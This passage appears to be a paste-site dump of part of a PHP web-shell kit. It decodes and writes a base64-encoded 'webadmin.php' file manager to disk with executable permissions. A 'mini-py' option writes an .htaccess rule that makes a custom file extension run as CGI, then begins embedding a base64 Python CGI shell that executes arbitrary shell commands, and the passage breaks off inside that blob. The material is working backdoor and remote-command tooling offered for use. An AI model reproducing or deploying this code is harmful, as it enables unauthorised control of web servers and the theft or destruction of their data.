JlIHVwbG9hZGVkLicsDQonYWxyZWFkeV9leGlzdHMnID0+ICciWyUxXSIgYWxyZWFkeSBleGlzdHMuJywNCidjcmVhdGVkJyA9PiAnIlslMV0iIGhhcyBiZWVuIGNyZWF0ZWQuJywNCidub3RfY3JlYXRlZCcgPT4gJyJbJTFdIiBjb3VsZCBub3QgYmUgY3JlYXRlZC4nLA0KJ3JlYWxseV9kZWxldGUnID0+ICdEZWxldGUgdGhlc2UgZmlsZXM/JywNCidkZWxldGVkJyA9PiAiVGhlc2UgZmlsZXMgaGF2ZSBiZWVuIGRlbGV0ZWQ6XG5bJTFdIiwNCidub3RfZGVsZXRlZCcgPT4gIlRoZXNlIGZpbGVzIGNvdWxkIG5vdCBiZSBkZWxldGVkOlxuWyUxXSIsDQoncmVuYW1lX2ZpbGUnID0+ICdSZW5hbWUgZmlsZTonLA0KJ3JlbmFtZWQnID0+ICciWyUxXSIgaGFzIGJlZW4gcmVuYW1lZCB0byAiWyUyXSIuJywNCidub3RfcmVuYW1lZCcgPT4gJyJbJTFdIGNvdWxkIG5vdCBiZSByZW5hbWVkIHRvICJbJTJdIi4nLA0KJ21vdmVfZmlsZXMnID0+ICdNb3ZlIHRoZXNlIGZpbGVzOicsDQonbW92ZWQnID0+ICJUaGVzZSBmaWxlcyBoYXZlIGJlZW4gbW92ZWQgdG8gXCJbJTJdXCI6XG5bJTFdIiwNCidub3RfbW92ZWQnID0+ICJUaGVzZSBmaWxlcyBjb3VsZCBub3QgYmUgbW92ZWQgdG8gXCJbJTJdXCI6XG5bJTFdIiwNCidjb3B5X2ZpbGVzJyA9PiAnQ29weSB0aGVzZSBmaWxlczonLA0KJ2NvcGllZCcgPT4gIlRoZXNlIGZpbGVzIGhhdmUgYmVlbiBjb3BpZWQgdG8gXCJbJTJdXCI6XG5bJTFdIiwNCidub3RfY29waWVkJyA9PiAiVGhlc2UgZmlsZXMgY291bGQgbm90IGJlIGNvcGllZCB0byBcIlslMl1cIjpcblslMV0iLA0KJ25vdF9lZGl0ZWQnID0+ICciWyUxXSIgY2FuIG5vdCBiZSBlZGl0ZWQuJywNCidleGVjdXRlZCcgPT4gIlwiWyUxXVwiIGhhcyBiZWVuIGV4ZWN1dGVkIHN1Y2Nlc3NmdWxseTpcbnslMn0iLA0KJ25vdF9leGVjdXRlZCcgPT4gIlwiWyUxXVwiIGNvdWxkIG5vdCBiZSBleGVjdXRlZCBzdWNjZXNzZnVsbHk6XG57JTJ9IiwNCidzYXZlZCcgPT4gJyJbJTFdIiBoYXMgYmVlbiBzYXZlZC4nLA0KJ25vdF9zYXZlZCcgPT4gJyJbJTFdIiBjb3VsZCBub3QgYmUgc2F2ZWQuJywNCidzeW1saW5rZWQnID0+ICdTeW1saW5rIGZyb20gIlslMl0iIHRvICJbJTFdIiBoYXMgYmVlbiBjcmVhdGVkLicsDQonbm90X3N5bWxpbmtlZCcgPT4gJ1N5bWxpbmsgZnJvbSAiWyUyXSIgdG8gIlslMV0iIGNvdWxkIG5vdCBiZSBjcmVhdGVkLicsDQoncGVybWlzc2lvbl9mb3InID0+ICdQZXJtaXNzaW9uIG9mICJbJTFdIjonLA0KJ3Blcm1pc3Npb25fc2V0JyA9PiAnUGVybWlzc2lvbiBvZiAiWyUxXSIgd2FzIHNldCB0byBbJTJdLicsDQoncGVybWlzc2lvbl9ub3Rfc2V0JyA9PiAnUGVybWlzc2lvbiBvZiAiWyUxXSIgY291bGQgbm90IGJlIHNldCB0byBbJTJdLicsDQonbm90X3JlYWRhYmxlJyA9PiAnIlslMV0iIGNhbiBub3QgYmUgcmVhZC4nDQoJCSk7DQoJCWNhc2UgJ2FyJzoNCglkZWZhdWx0Og0KDQoJCSRkYXRlX2Zvcm1hdCA9ICduL2oveSBIOmk6cyc7DQoJCSR3b3JkX2NoYXJzZXQgPSAndXRmLTgnOw0KDQoJCXJldHVybiBhcnJheSgNCidkaXJlY3RvcnknID0+ICfYp9mE2YXYs9in2LEnLA0KJ2ZpbGUnID0+ICfYp9mE2YXZhNmBJywNCidmaWxlbmFtZScgPT4gJ9in2LPZhSDYp9mE2YXZhNmBJywNCg0KJ3NpemUnID0+ICfYp9mE2K3YrNmFJywNCidwZXJtaXNzaW9uJyA9PiAn2KfZhNi12YTYp9it2YrZhycsDQonb3duZXInID0+ICfYp9mE2YXYp9mE2YMnLA0KJ2dyb3VwJyA9PiAn2KfZhNmF2KzZhdmI2LnZhycsDQonb3RoZXInID0+ICfYp9iu2LHZiScsDQonZnVuY3Rpb25zJyA9PiAn2KfZhNiu2YrYp9ix2KfYqicsDQoNCidyZWFkJyA9PiAn2YLYsdin2KbZhycsDQond3JpdGUnID0+ICfZg9iq2KfYqNmHJywNCidleGVjdXRlJyA9PiAn2KrZhtmB2YrYsCcsDQoNCidjcmVhdGVfc3ltbGluaycgPT4gJ9in2YbYtNin2KEg2KfYrtiq2LXYp9ixJywNCidkZWxldGUnID0+ICfYrdiw2YEnLA0KJ3JlbmFtZScgPT4gJ9in2LnYp9iv2Kkg2KfZhNiq2LPZhdmK2KknLA0KJ21vdmUnID0+ICfYqtit2LHZitmDJywNCidjb3B5JyA9PiAn2YbYs9iuJywNCidlZGl0JyA9PiAn2KrYudiv2YrZhCcsDQonZG93bmxvYWQnID0+ICfYqtit2YXZitmEJywNCid1cGxvYWQnID0+ICfYsdmB2LknLA0KJ2NyZWF0ZScgPT4gJ9in2YbYtNin2KEnLA0KJ2NoYW5nZScgPT4gJ9iq2LrZitixJywNCidzYXZlJyA9PiAn2K3Zgdi4JywNCidzZXQnID0+ICfYttio2LcnLA0KJ3Jlc2V0JyA9PiAn2KfYudin2K/ZhycsDQoncmVsYXRpdmUnID0+ICfZh9mEINiq2LHZitivINiq2LrZitixINmF2LPYp9ixINin2YTYp9iu2KrYtdin2LEnLA0KDQoneWVzJyA9PiAn2YbYudmFJywNCidubycgPT4gJ++7uycsDQonYmFjaycgPT4gJ9in2YTYsdis2YjYuSDZhNmE2K7ZhNmBJywNCidkZXN0aW5hdGlvbicgPT4gJ9in2YTZhdmI2YLYuScsDQonc3ltbGluaycgPT4gJ9mF2LPYp9ixINin2YTYp9iu2KrYtdin2LEnLA0KJ25vX291dHB1dCcgPT4gJ++7uyDYqtmI2KzYryDZhtiq2KfYptisJywNCg0KJ3VzZXInID0+ICfYp9mE2YXYs9iq2K7Yr9mFJywNCidwYXNzd29yZCcgPT4gJ9in2YTYsdmC2YUg2KfZhNiz2LHZiicsDQonYWRkJyA9PiAn2KfYttin2YHZhycsDQonYWRkX2Jhc2ljX2F1dGgnID0+ICfYp9i22KfZgdmHJywNCg0KJ3VwbG9hZGVkJyA9PiAnIlslMV0iINiq2YUg2LHZgdi5INin2YTZhdmE2YEuJywNCidub3RfdXBsb2FkZWQnID0+ICciWyUxXSIg2YTZhSDZitiq2YUg2LHZgdi5INin2YTZhdmE2YEuJywNCidhbHJlYWR5X2V4aXN0cycgPT4gJyJbJTFdIiDYp9mE2YXZhNmBINin2Ygg2KfZhNmF2KzZhNivINmF2YjYrNmI2K8uJywNCidjcmVhdGVkJyA9PiAnIlslMV0iINiq2YUg2KfZhti02KfYoSDYp9mE2YXZhNmBLicsDQonbm90X2NyZWF0ZWQnID0+ICciWyUxXSIg2YTZhSDZitiq2YUg2KfZhNin2YbYtNin2KEuJywNCidyZWFsbHlfZGVsZXRlJyA9PiAn2YfZhCDYqtix2YrYryDYrdiw2YEg2KfZhNmF2YTZgT8nLA0KJ2RlbGV0ZWQnID0+ICLZhNmC2K8g2KrZhSDYrdiw2YEg2YfYsNinINin2YTZhdmE2YE6XG5bJTFdIiwNCidub3RfZGVsZXRlZCcgPT4gItmE2YUg2YrYqtmFINit2LDZgSDYp9mE2YXZhNmBOlxuWyUxXSIsDQoncmVuYW1lX2ZpbGUnID0+ICfYp9i52KfYr9mHINin2YTYqtiz2YXZitmHOicsDQoncmVuYW1lZCcgPT4gJyJbJTFdIiDYqtmF2Kog2KfYudin2K/ZhyDYqtiz2YXZitiq2Ycg2KfZhNmJICJbJTJdIi4nLA0KJ25vdF9yZW5hbWVkJyA9PiAnIlslMV0g2YTZhSDZitiq2YUg2KfYudin2K/ZhyDYqtiz2YXZitiq2Ycg2KfZhNmJICJbJTJdIi4nLA0KJ21vdmVfZmlsZXMnID0+ICfZh9mEINiq2LHZitivINiq2LrZitixINmF2LPYp9ixINmH2LDZhyDYp9mE2YXZhNmB2KfYqjonLA0KJ21vdmVkJyA9PiAi2YTZgtivINiq2YUg2KrYutmK2LEg2YXYs9in2LEg2YfYsNmHINin2YTZhdmE2YHYp9iqIFwiWyUyXVwiOlxuWyUxXSIsDQonbm90X21vdmVkJyA9PiAi2YTZhSDZitiq2YUg2KrYutmK2LEg2YXYs9in2LEg2YfYsNmHINin2YTZhdmE2YHYp9iqIFwiWyUyXVwiOlxuWyUxXSIsDQonY29weV9maWxlcycgPT4gJ9mH2YQg2KrYsdmK2K8g2YbYs9iuINmH2LDYpyDYp9mE2YXZhNmBOicsDQonY29waWVkJyA9PiAi2KrZhSDZhtiz2K4g2KfZhNmF2YTZgSDYp9mE2YkgXCJbJTJdXCI6XG5bJTFdIiwNCidub3RfY29waWVkJyA9PiAi2YTZhSDZitiq2YUg2YbYs9iuINin2YTZhdmE2YHYp9iqINin2YTZiSBcIlslMl1cIjpcblslMV0iLA0KJ25vdF9lZGl0ZWQnID0+ICciWyUxXSIg2YTYpyDZitmF2YPZhiDYqti52K/ZitmE2YcuJywNCidleGVjdXRlZCcgPT4gIlwiWyUxXVwiINmE2YLYryDYqtmFINiq2YbZgdmK2LAg2KjZhtis2KfYrTpcbnslMn0iLA0KJ25vdF9leGVjdXRlZCcgPT4gIlwiWyUxXVwiINmE2YUg2YrYqtmFINiq2YbZgdmK2LAg2KjZhtis2KfYrTpcbnslMn0iLA0KJ3NhdmVkJyA9PiAnIlslMV0iINiq2YUg2K3Zgdi42YcuJywNCidub3Rfc2F2ZWQnID0+ICciWyUxXSIg2YTZhSDZitiq2YUg2K3Zgdi42YcuJywNCidzeW1saW5rZWQnID0+ICfYp9mE2KfYrtiq2LXYp9ixINmF2YYgIlslMl0iINin2YTZiSAiWyUxXSIg2KrZhSDYp9mG2LTYp9im2YcuJywNCidub3Rfc3ltbGlua2VkJyA9PiAn2KfZhNin2K7Yqti12KfYsSDZhdmGICJbJTJdIiDYp9mE2YkgIlslMV0iINmE2YUg2YrYqtmFINin2YbYtNin2KbZhy4nLA0KJ3Blcm1pc3Npb25fZm9yJyA9PiAn2YfZhCDYqtix2YrYryDYqti62YrYsSDYte+7u9it2YrYqtmHICJbJTFdIjonLA0KJ3Blcm1pc3Npb25fc2V0JyA9PiAn2KrZhSDYqti62YrYsSDYte+7u9it2YrZhyDYp9mE2YXZhNmBICJbJTFdIiDYp9mE2YkgWyUyXS4nLA0KJ3Blcm1pc3Npb25fbm90X3NldCcgPT4gJ9mE2YUg2YrYqtmFINiq2LrZitixINi177u72K3ZitmHINin2YTZhdmE2YEgIlslMV0iINin2YTZiSBbJTJdLicsDQonbm90X3JlYWRhYmxlJyA9PiAnIlslMV0iINmE2Kcg2YrZhdmD2YYg2YLYsdin2KbYqtmHLicNCgkJKTsNCgl9DQoNCn0NCg0KZnVuY3Rpb24gZ2V0aW1hZ2UgKCRpbWFnZSkgew0KCXN3aXRjaCAoJGltYWdlKSB7DQoJY2FzZSAnZmlsZSc6DQoJCXJldHVybiBiYXNlNjRfZGVjb2RlKCdSMGxHT0RsaEVRQU5BSkVEQUptWm1mLy8vd0FBQVAvLy95SDVCQUhvQXdNQUxBQUFBQUFSQUEwQUFBSXRuSUdKeGcwQjQycnNpU3ZDQS9SRW1YUVdobW5paDNMVVNHYXFnMzV2RmJTWHVjYlNhYnVuam5Nb2hxOENBRHNBJyk7DQoJY2FzZSAnZm9sZGVyJzoNCgkJcmV0dXJuIGJhc2U2NF9kZWNvZGUoJ1IwbEdPRGxoRVFBTkFKRURBSm1abWYvLy84ek16UC8vL3lINUJBSG9Bd01BTEFBQUFBQVJBQTBBQUFJcW5JK1p3S3diWWdUUHRJdWRsYndMT2dDQlFKWW1DWXJuK20zc21ZNXZHYyswYTdkaGpoN1pieWdBQURzQScpOw0KCWNhc2UgJ2hpZGRlbl9maWxlJzoNCgkJcmV0dXJuIGJhc2U2NF9kZWNvZGUoJ1IwbEdPRGxoRVFBTkFKRURBTXdBQVAvLy81bVptZi8vL3lINUJBSG9Bd01BTEFBQUFBQVJBQTBBQUFJdG5JR0p4ZzBCNDJyc2lTdkNBL1JFbVhRV2htbmloM0xVU0dhcWczNXZGYlNYdWNiU2FidW5qbk1vaHE4Q0FEc0EnKTsNCgljYXNlICdsaW5rJzoNCgkJcmV0dXJuIGJhc2U2NF9kZWNvZGUoJ1IwbEdPRGxoRVFBTkFLSUVBSm1abWYvLy93QUFBTXdBQVAvLy93QUFBQUFBQUFBQUFDSDVCQUhvQXdRQUxBQUFBQUFSQUEwQUFBTTVTQXJjckRDQ1FPdUxjSW90d2dUWVVsbE5PQTBEeFhrbWhZNHNoTTV6c01VS1RZOGdOZ1V2VzZjbkFhWmd4TXlJTTJ6QkxDYUhsSmdBQURzQScpOw0KCWNhc2UgJ3NtaWxleSc6DQoJCXJldHVybiBiYXNlNjRfZGVjb2RlKCdSMGxHT0RsaEVRQU5BSkVDQUFBQUFQLy9BUC8vL3dBQUFDSDVCQUhvQXdJQUxBQUFBQUFSQUEwQUFBSXNsSStwQXUyd0RBaXowaldEM2hxbUJ6WmYxVkNsZUpRY2gwcmtkbnBwQjNkS1p1SXlnck1SRS9vSkR3VUFPd0E9Jyk7DQoJY2FzZSAnYXJyb3cnOg0KCQlyZXR1cm4gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhFUUFOQUlBQkFBQUFBUC8vL3lINUJBRUtBQUVBTEFBQUFBQVJBQTBBQUFJZGpBOXd5NmdOUTRwd1VtYXYweXZuK2hoSmlJM21DSjZvdHJJa3h4UUFPdz09Jyk7DQoJfQ0KfQ0KDQpmdW5jdGlvbiBodG1sX2hlYWRlciAoKSB7DQoJZ2xvYmFsICRjaGFyc2V0Ow0KDQoJZWNobyA8PDxFTkQNCjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0cmljdC8vRU4iDQogICAgICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS1zdHJpY3QuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCjxoZWFkPg0KDQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD0kY2hhcnNldCIgLz4NCg0KPHRpdGxlPndlYmFkbWluLnBocDwvdGl0bGU+DQoNCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpib2R5IHsgZm9udDogc21hbGwgc2Fucy1zZXJpZjsgdGV4dC1hbGlnbjogY2VudGVyIH0NCmltZyB7IHdpZHRoOiAxN3B4OyBoZWlnaHQ6IDEzcHggfQ0KYSwgYTp2aXNpdGVkIHsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyBjb2xvcjogbmF2eSB9DQpociB7IGJvcmRlci1zdHlsZTogbm9uZTsgaGVpZ2h0OiAxcHg7IGJhY2tncm91bmQtY29sb3I6IHNpbHZlcjsgY29sb3I6IHNpbHZlciB9DQojbWFpbiB7IG1hcmdpbi10b3A6IDZwdDsgbWFyZ2luLWxlZnQ6IGF1dG87IG1hcmdpbi1yaWdodDogYXV0bzsgYm9yZGVyLXNwYWNpbmc6IDFweCB9DQojbWFpbiB0aCB7IGJhY2tncm91bmQ6ICNlZWU7IHBhZGRpbmc6IDNwdCAzcHQgMHB0IDNwdCB9DQoubGlzdGluZyB0aCwgLmxpc3RpbmcgdGQgeyBwYWRkaW5nOiAxcHggM3B0IDAgM3B0IH0NCi5saXN0aW5nIHRoIHsgYm9yZGVyOiAxcHggc29saWQgc2lsdmVyIH0NCi5saXN0aW5nIHRkIHsgYm9yZGVyOiAxcHggc29saWQgI2RkZDsgYmFja2dyb3VuZDogd2hpdGUgfQ0KLmxpc3RpbmcgLmNoZWNrYm94IHsgdGV4dC1hbGlnbjogY2VudGVyIH0NCi5saXN0aW5nIC5maWxlbmFtZSB7IHRleHQtYWxpZ246IGxlZnQgfQ0KLmxpc3RpbmcgLnNpemUgeyB0ZXh0LWFsaWduOiByaWdodCB9DQoubGlzdGluZyAucGVybWlzc2lvbl9oZWFkZXIgeyB0ZXh0LWFsaWduOiBsZWZ0IH0NCi5saXN0aW5nIC5wZXJtaXNzaW9uIHsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZSB9DQoubGlzdGluZyAub3duZXIgeyB0ZXh0LWFsaWduOiBsZWZ0IH0NCi5saXN0aW5nIC5ncm91cCB7IHRleHQtYWxpZ246IGxlZnQgfQ0KLmxpc3RpbmcgLmZ1bmN0aW9ucyB7IHRleHQtYWxpZ246IGxlZnQgfQ0KLmxpc3RpbmdfZm9vdGVyIHRkIHsgYmFja2dyb3VuZDogI2VlZTsgYm9yZGVyOiAxcHggc29saWQgc2lsdmVyIH0NCiNkaXJlY3RvcnksICN1cGxvYWQsICNjcmVhdGUsIC5saXN0aW5nX2Zvb3RlciB0ZCwgI2Vycm9yIHRkLCAjbm90aWNlIHRkIHsgdGV4dC1hbGlnbjogbGVmdDsgcGFkZGluZzogM3B0IH0NCiNkaXJlY3RvcnkgeyBiYWNrZ3JvdW5kOiAjZWVlOyBib3JkZXI6IDFweCBzb2xpZCBzaWx2ZXIgfQ0KI3VwbG9hZCB7IHBhZGRpbmctdG9wOiAxZW0gfQ0KI2NyZWF0ZSB7IHBhZGRpbmctYm90dG9tOiAxZW0gfQ0KLnNtYWxsLCAuc21hbGwgb3B0aW9uIHsgZm9udC1zaXplOiB4LXNtYWxsIH0NCnRleHRhcmVhIHsgYm9yZGVyOiBub25lOyBiYWNrZ3JvdW5kOiB3aGl0ZSB9DQp0YWJsZS5kaWFsb2cgeyBtYXJnaW4tbGVmdDogYXV0bzsgbWFyZ2luLXJpZ2h0OiBhdXRvIH0NCnRkLmRpYWxvZyB7IGJhY2tncm91bmQ6ICNlZWU7IHBhZGRpbmc6IDFleDsgYm9yZGVyOiAxcHggc29saWQgc2lsdmVyOyB0ZXh0LWFsaWduOiBjZW50ZXIgfQ0KI3Blcm1pc3Npb24geyBtYXJnaW4tbGVmdDogYXV0bzsgbWFyZ2luLXJpZ2h0OiBhdXRvIH0NCiNwZXJtaXNzaW9uIHRkIHsgcGFkZGluZy1sZWZ0OiAzcHQ7IHBhZGRpbmctcmlnaHQ6IDNwdDsgdGV4dC1hbGlnbjogY2VudGVyIH0NCnRkLnBlcm1pc3Npb25fYWN0aW9uIHsgdGV4dC1hbGlnbjogcmlnaHQgfQ0KI3N5bWxpbmsgeyBiYWNrZ3JvdW5kOiAjZWVlOyBib3JkZXI6IDFweCBzb2xpZCBzaWx2ZXIgfQ0KI3N5bWxpbmsgdGQgeyB0ZXh0LWFsaWduOiBsZWZ0OyBwYWRkaW5nOiAzcHQgfQ0KI3JlZF9idXR0b24geyB3aWR0aDogMTIwcHg7IGNvbG9yOiAjNDAwIH0NCiNncmVlbl9idXR0b24geyB3aWR0aDogMTIwcHg7IGNvbG9yOiAjMDQwIH0NCiNlcnJvciB0ZCB7IGJhY2tncm91bmQ6IG1hcm9vbjsgY29sb3I6IHdoaXRlOyBib3JkZXI6IDFweCBzb2xpZCBzaWx2ZXIgfQ0KI25vdGljZSB0ZCB7IGJhY2tncm91bmQ6IGdyZWVuOyBjb2xvcjogd2hpdGU7IGJvcmRlcjogMXB4IHNvbGlkIHNpbHZlciB9DQojbm90aWNlIHByZSwgI2Vycm9yIHByZSB7IGJhY2tncm91bmQ6IHNpbHZlcjsgY29sb3I6IGJsYWNrOyBwYWRkaW5nOiAxZXg7IG1hcmdpbi1sZWZ0OiAxZXg7IG1hcmdpbi1yaWdodDogMWV4IH0NCmNvZGUgeyBmb250LXNpemU6IDEycHQgfQ0KdGQgeyB3aGl0ZS1zcGFjZTogbm93cmFwIH0NCmgxIHsNCmRpc3BsYXk6IGJsb2NrOw0KZm9udC1zaXplOiAyZW07DQotd2Via2l0LW1hcmdpbi1iZWZvcmU6IDAuNjdlbTsNCi13ZWJraXQtbWFyZ2luLWFmdGVyOiAwLjY3ZW07DQotd2Via2l0LW1hcmdpbi1zdGFydDogMHB4Ow0KLXdlYmtpdC1tYXJnaW4tZW5kOiAwcHg7DQpmb250LXdlaWdodDogYm9sZDsNCn0NCjwvc3R5bGU+DQoNCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCjwhLS0NCmZ1bmN0aW9uIGFjdGl2YXRlIChuYW1lKSB7DQoJaWYgKGRvY3VtZW50ICYmIGRvY3VtZW50LmZvcm1zWzBdICYmIGRvY3VtZW50LmZvcm1zWzBdLmVsZW1lbnRzWydmb2N1cyddKSB7DQoJCWRvY3VtZW50LmZvcm1zWzBdLmVsZW1lbnRzWydmb2N1cyddLnZhbHVlID0gbmFtZTsNCgl9DQp9DQovLy0tPg0KPC9zY3JpcHQ+DQoNCjwvaGVhZD4NCjxib2R5Pg0KDQoNCkVORDsNCg0KfQ0KDQpmdW5jdGlvbiBodG1sX2Zvb3RlciAoKSB7DQoNCgllY2hvIDw8PEVORA0KPC9ib2R5Pg0KPC9odG1sPg0KRU5EOw0KDQp9DQoNCmZ1bmN0aW9uIG5vdGljZSAoJHBocmFzZSkgew0KCWdsb2JhbCAkY29sczsNCg0KCSRhcmdzID0gZnVuY19nZXRfYXJncygpOw0KCWFycmF5X3NoaWZ0KCRhcmdzKTsNCg0KCXJldHVybiAnPHRyIGlkPSJub3RpY2UiPg0KCTx0ZCBjb2xzcGFuPSInIC4gJGNvbHMgLiAnIj4nIC4gcGhyYXNlKCRwaHJhc2UsICRhcmdzKSAuICc8L3RkPg0KPC90cj4NCic7DQoNCn0NCg0KZnVuY3Rpb24gZXJyb3IgKCRwaHJhc2UpIHsNCglnbG9iYWwgJGNvbHM7DQoNCgkkYXJncyA9IGZ1bmNfZ2V0X2FyZ3MoKTsNCglhcnJheV9zaGlmdCgkYXJncyk7DQoNCglyZXR1cm4gJzx0ciBpZD0iZXJyb3IiPg0KCTx0ZCBjb2xzcGFuPSInIC4gJGNvbHMgLiAnIj4nIC4gcGhyYXNlKCRwaHJhc2UsICRhcmdzKSAuICc8L3RkPg0KPC90cj4NCic7DQoNCn0NCiBlY2hvJ0VkaXQgQnkgTVIuRlJJRVpBJzsNCg0KPz4NCg==';
  507.  
  508. $file = fopen("webadmin.php" ,"w+");
  509. $write = fwrite ($file ,base64_decode($webadmin));
  510. fclose($file);
  511. chmod("webadmin.php",0755);
  512. echo "<br><b><a href=webadmin/webadmin.php target='_blank'><div><span style=color:#6ebe0b;font-family:Arial;font-size:11px;>./D0nE </span></div></a></b>";
  513.  
  514. }
  515. if(isset($_GET["mini-py"]))
  516. {
  517. @mkdir('mini-python', 0755);
  518. chdir('mini-python');
  519. $frz = ".htaccess";
  520. $frz_note = "$frz";
  521. $dody = fopen ($frz_note , 'w') or die ("<br>Somthing Wrong");
  522. $metin = "AddHandler cgi-script .izo";
  523. fwrite ( $dody , $metin ) ;
  524. fclose ($dody);
  525. $pythonp = 'IyEvdXNyL2Jpbi9weXRob24KIyAwNy0wNy0wNAojIHYxLjAuMAoKIyBjZ2ktc2hlbGwucHkKIyBB
  526. IHNpbXBsZSBDR0kgdGhhdCBleGVjdXRlcyBhcmJpdHJhcnkgc2hlbGwgY29tbWFuZHMuCgoKIyBD
  527. b3B5cmlnaHQgTWljaGFlbCBGb29yZAojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQg
  528. cmVsaWNlbnNlIHRoaXMgY29kZS4KCiMgTm8gd2FycmFudHkgZXhwcmVzcyBvciBpbXBsaWVkIGZv
  529. ciB0aGUgYWNjdXJhY3ksIGZpdG5lc3MgdG8gcHVycG9zZSBvciBvdGhlcndpc2UgZm9yIHRoaXMg
  530. Y29kZS4uLi4KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISEKCiMgRS1tYWlsIG1pY2hhZWwgQVQg
  531. Zm9vcmQgRE9UIG1lIERPVCB1awojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsv
  532. YXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbAoKIiIiCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8g
  533. ZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLgoiIiIKIyMjIyMjIyMjIyMjIyMjIyMjIyMj
  534. IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIEltcG9ydHMKdHJ5
  535. OgogICAgaW1wb3J0IGNnaXRiOyBjZ2l0Yi5lbmFibGUoKQpleGNlcHQ6CiAgICBwYXNzCmltcG9y
  536. dCBzeXMsIGNnaSwgb3MKc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQKZnJvbSB0aW1lIGltcG9ydCBz
  537. dHJmdGltZQppbXBvcnQgdHJhY2ViYWNrCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPCmZy
  538. b20gdHJhY2ViYWNrIGltcG9ydCBwcmludF9leGMKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
  539. IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBjb25zdGFudHMKCmZvbnRs
  540. aW5lID0gJzxGT05UIENPTE9SPSM0MjQyNDIgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQt
  541. c2l6ZToxMnB0OyI+Jwp2ZXJzaW9uc3RyaW5nID0gJ1ZlcnNpb24gMS4wLjAgN3RoIEp1bHkgMjAw
  542. NCcKCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToKICAgIHNjcmlwdG5hbWUg
  543. PSBvcy5lbnZpcm9uWyJTQ1JJUFRfTkFNRSJdCmVsc2U6CiAgICBzY3JpcHRuYW1lID0gIiIKCk1F
  544. VEhPRCA9ICciUE9TVCInCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
  545. IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgUHJpdmF0ZSBmdW5jdGlvbnMgYW5kIHZhcmlhYmxl
  546. cwoKZGVmIGdldGZvcm0odmFsdWVsaXN0LCB0aGVmb3JtLCBub3RwcmVzZW50PScnKToKICAgICIi
  547. IlRoaXMgZnVuY3Rpb24sIGdpdmVuIGEgQ0dJIGZvcm0sIGV4dHJhY3RzIHRoZSBkYXRhIGZyb20g
  548. aXQsIGJhc2VkIG9uCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFs
  549. dWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLgogICAgKGUu
  550. Zy4gdG8gcmV0dXJuIE5vbmUgc28geW91IGNhbiB0ZXN0IGZvciBtaXNzaW5nIGtleXdvcmRzIC0g
  551. d2hlcmUgJycgaXMgYSB2YWxpZCBhbnN3ZXIgYnV0IHRvIGhhdmUgdGhlIGZpZWxkIG1pc3Npbmcg
  552. aXNuJ3QuKSIiIgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0OgogICAg
  553. ICAgIGlmIG5vdCB0aGVmb3JtLmhhc19rZXkoZmllbGQpOgogICAgICAgICAgICBkYXRhW2ZpZWxk
  554. XSA9IG5vdHByZXNlbnQKICAgICAgICBlbHNlOgogICAgICAgICAgICBpZiAgdHlwZSh0aGVmb3Jt
  555. W2ZpZWxkXSkgIT0gdHlwZShbXSk6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZv
  556. cm1bZmllbGRdLnZhbHVlCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB2YWx1ZXMg
  557. PSBtYXAobGFtYmRhIHg6IHgudmFsdWUsIHRoZWZvcm1bZmllbGRdKSAgICAgIyBhbGxvd3MgZm9y
  558. IGxpc3QgdHlwZSB2YWx1ZXMKICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdmFsdWVzCiAg
  559. ICByZXR1cm4gZGF0YQoKCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1z
  560. aGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+CjxCT0RZPjxDRU5URVI+
  561. CjxIMT5XZWxjb21lIHRvIGNnaS1zaGVsbC5weSAtIDxCUj5hIFB5dGhvbiBDR0k8L0gxPgo8Qj48
  562. ST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPgoiIiIrZm9udGxpbmUgKyJWZXJzaW9uIDogIiArIHZl
  563. cnNpb25zdHJpbmcgKyAiIiIsIFJ1bm5pbmcgb24gOiAiIiIgKyBzdHJmdGltZSgnJUk6JU0gJXAs
  564. ICVBICVkICVCLCAlWScpKycuPC9DRU5URVI+PEJSPicKCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIg
  565. Q29tbWFuZDwvSDI+CjxGT1JNIE1FVEhPRD1cIiIiIiArIE1FVEhPRCArICciIGFjdGlvbj0iJyAr
